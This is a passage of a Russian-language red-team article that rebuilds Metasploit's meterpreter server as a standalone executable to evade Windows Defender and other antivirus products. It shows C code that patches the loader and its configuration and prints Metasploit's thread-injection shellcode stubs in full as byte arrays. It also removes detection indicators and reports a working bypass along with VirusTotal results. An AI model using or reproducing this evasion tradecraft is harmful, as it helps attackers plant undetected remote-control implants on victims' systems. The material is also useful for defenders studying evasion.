0x2C, 0x01, 0x00, 0x00, 0x10, 0x0E, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x2F, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x20, 0x00, 0x28, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x54, 0x00, 0x20, 0x00, 0x31, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x3B, 0x00, 0x20, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x36, 0x00, 0x34, 0x00, 0x3B, 0x00, 0x20, 0x00, 0x78, 0x00, 0x36, 0x00, 0x34, 0x00, 0x29, 0x00, 0x20, 0x00, 0x41, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x4B, 0x00, 0x69, 0x00, 0x74, 0x00, 0x2F, 0x00, 0x35, 0x00, 0x33, 0x00, 0x37, 0x00, 0x2E, 0x00, 0x33, 0x00, 0x36, 0x00, 0x20, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x48, 0x00, 0x54, 0x00, 0x4D, 0x00, 0x4C, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x20, 0x00, 0x47, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6B, 0x00, 0x6F, 0x00, 0x29, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x2F, 0x00, 0x31, 0x00, 0x33, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x61, 0x00, 0x66, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x2F, 0x00, 0x35, 0x00, 0x33, 0x00, 0x37, 0x00, 0x2E, 0x00, 0x33, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF };
 6	
 7	// Преобразуем его в нашу структуру MetsrvConfig
 8	MetsrvConfig* config = (MetsrvConfig*)raw_config;
 9	BOOL bReturnValue = TRUE;
10	
11	// Вызываем функцию Init(). Тоже самое делает и DllMain
12	bReturnValue = Init((MetsrvConfig*)config);
13
14	return bReturnValue;
15}
16#endif

На выходе получили metsrv.x64.exe

Таким образом мы избавились от 1,2,3 и 4 пунктов из таблицы выше. 5 пункт оказался несущественным (хеши WinAPI функций так и остались внутри файла, но в данном случае антивирус не счёл это важным), а вот пункт 6 нужно пропатчить:

 1
 2// Все шеллкоды заменены на 0x00 путём добавления директивы препроцессора #ifndef CUSTOMEXE.
 3//   Мы потеряем возможность внедрения нагрузки в процессы,
 4//   но в остальном нагрузка будет корректно работать.
 5
 6#ifndef CUSTOMEXE
 7// Для thread injection в x86
 8// see '[*/msf3/external/source/shellcode/x86/migrate/apc.asm*](https://github.com/rapid7/metasploit-framework/blob/60a6658f0e53f34748dd614a3f36c3cea39d44d5/external/source/shellcode/windows/x86/src/migrate/apc.asm#L4)'
 9BYTE apc_stub_x86[] =	{0xFC,0x8B,0x74,0x24,0x04,0x55,0x89,0xE5,0xE8,0x89,0x00,0x00,0x00,0x60,0x89,0xE5
10							,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x0F
11							,0xB7,0x4A,0x26,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF
12							,0x0D,0x01,0xC7,0xE2,0xF0,0x52,0x57,0x8B,0x52,0x10,0x8B,0x42,0x3C,0x01,0xD0,0x8B
13							,0x40,0x78,0x85,0xC0,0x74,0x4A,0x01,0xD0,0x50,0x8B,0x48,0x18,0x8B,0x58,0x20,0x01
14							,0xD3,0xE3,0x3C,0x49,0x8B,0x34,0x8B,0x01,0xD6,0x31,0xFF,0x31,0xC0,0xAC,0xC1,0xCF
15							,0x0D,0x01,0xC7,0x38,0xE0,0x75,0xF4,0x03,0x7D,0xF8,0x3B,0x7D,0x24,0x75,0xE2,0x58
16							,0x8B,0x58,0x24,0x01,0xD3,0x66,0x8B,0x0C,0x4B,0x8B,0x58,0x1C,0x01,0xD3,0x8B,0x04
17							,0x8B,0x01,0xD0,0x89,0x44,0x24,0x24,0x5B,0x5B,0x61,0x59,0x5A,0x51,0xFF,0xE0,0x58
18							,0x5F,0x5A,0x8B,0x12,0xEB,0x86,0x5B,0x80,0x7E,0x10,0x00,0x75,0x3B,0xC6,0x46,0x10
19							,0x01,0x68,0xA6,0x95,0xBD,0x9D,0xFF,0xD3,0x3C,0x06,0x7C,0x1A,0x31,0xC9,0x64,0x8B
20							,0x41,0x18,0x39,0x88,0xA8,0x01,0x00,0x00,0x75,0x0C,0x8D,0x93,0xCF,0x00,0x00,0x00
21							,0x89,0x90,0xA8,0x01,0x00,0x00,0x31,0xC9,0x51,0x51,0xFF,0x76,0x08,0xFF,0x36,0x51
22							,0x51,0x68,0x38,0x68,0x0D,0x16,0xFF,0xD3,0xC9,0xC2,0x0C,0x00,0x00,0x00,0x00,0x00
23							,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
24							,0x00,0x00,0x00,0x00};
25#else
26BYTE apc_stub_x86[] = { 0x00 };
27#endif
28#ifndef CUSTOMEXE
29// Для thread injection в x64
30// see '[*/msf3/external/source/shellcode/x64/migrate/apc.asm*](https://github.com/rapid7/metasploit-framework/blob/60a6658f0e53f34748dd614a3f36c3cea39d44d5/external/source/shellcode/windows/x64/src/migrate/apc.asm)'
31BYTE apc_stub_x64[] =	{0xFC,0x80,0x79,0x10,0x00,0x0F,0x85,0x13,0x01,0x00,0x00,0xC6,0x41,0x10,0x01,0x48
32							,0x83,0xEC,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48
33							,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48
34							,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C
35							,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41
36							,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B
37							,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01
38							,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF
39							,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41
40							,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45
41							,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C
42							,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41
43							,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20
44							,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF
45							,0x5D,0x48,0x31,0xD2,0x65,0x48,0x8B,0x42,0x30,0x48,0x39,0x90,0xC8,0x02,0x00,0x00
46							,0x75,0x0E,0x48,0x8D,0x95,0x07,0x01,0x00,0x00,0x48,0x89,0x90,0xC8,0x02,0x00,0x00
47							,0x4C,0x8B,0x01,0x4C,0x8B,0x49,0x08,0x48,0x31,0xC9,0x48,0x31,0xD2,0x51,0x51,0x41
48							,0xBA,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x81,0xC4,0xA8,0x00,0x00,0x00,0xC3,0x00
49							,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
50							,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
51							,0x00,0x00,0x00};
52#else
53BYTE apc_stub_x64[] = {0x00};
54#endif
55#ifndef CUSTOMEXE
56//
57// Исходников не нашел :(
58BYTE poolparty_stub_x64[] = {0xFC,0x55,0x57,0x56,0x48,0x89,0xE7,0xE9,0x01,0x01,0x00,0x00,0x5E,0x48,0x83,0xEC
59							,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2
60							,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72
61							,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C
62							,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48
63							,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75
64							,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50
65							,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41
66							,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9
67							,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1
68							,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44
69							,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41
70							,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52
71							,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x8B
72							,0x4E,0x10,0x48,0x31,0xD2,0xFF,0xCA,0x41,0xBA,0x08,0x87,0x1D,0x60,0xFF,0xD5,0x48
73							,0x31,0xD2,0x4C,0x8B,0x06,0x4C,0x8B,0x4E,0x08,0x48,0x31,0xC9,0x51,0x51,0x41,0xBA
74							,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x89,0xFC,0x5E,0x5F,0x5D,0xC3,0xE8,0xFA,0xFE
75							,0xFF,0xFF};
76#else
77BYTE poolparty_stub_x64[] = { 0x00 };
78#endif

И последнее — это ReflectiveLoader. Так как в нашем случае не используется RDI, то её тело тоже убираем и для успешной компиляции оставляем в виде заглушки.

 1#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
 2RDIDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
 3#else
 4RDIDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
 5#endif
 6{
 7#ifndef CUSTOMEXE
 8
 9 <SNIP> // Исходный код функции
10 
11#else
12  // Заглушка
13	return 0;
14#endif
15}

Вот и всё, все иоки убраны без особых усилий и изменения ассемблерного кода. Можно тестить:

PoC обхода Windows Defender

PoC обхода Windows Defender

Замечу, что такой обход работает до той поры, пока мы не начнем использовать модули, например, введя команду getsystem. В данном случае подгрузится модуль ext_server_priv, создаст процесс с cmdline cmd.exe /c echo waiuoj > waiuoj , антивирус всё дропнет и удалит файл с метерпретером.

Анализ на VirusTotal показывает множество триггеров, в частности, Mictosoft. Скорее всего они либо увидели аномалии в сетевом трафике, либо нашли иные сигнатуры.

Но в любом случае, в списке нет антивируса Касперского, и MS Defender не распознал meterpreter, как показано на гифке выше.

Анализ в VirusTotal

Анализ в VirusTotal

Выводы

Зная, как под капотом работает нагрузка, возможно найти и исключить все IOCи. Это один из способов обхода AV и EDR. Работает нормально, то стоит ли это потраченного времени? С одной стороны это явно лучше, чем самопис с нуля, с другой — применение техник скрытия запуска процессов для обхода слежки EDR за процессом может быть удобнее.

Полезные ссылки


Автор: 🔗@pyfffe

Наш Telegram канал: 🔗REDTalk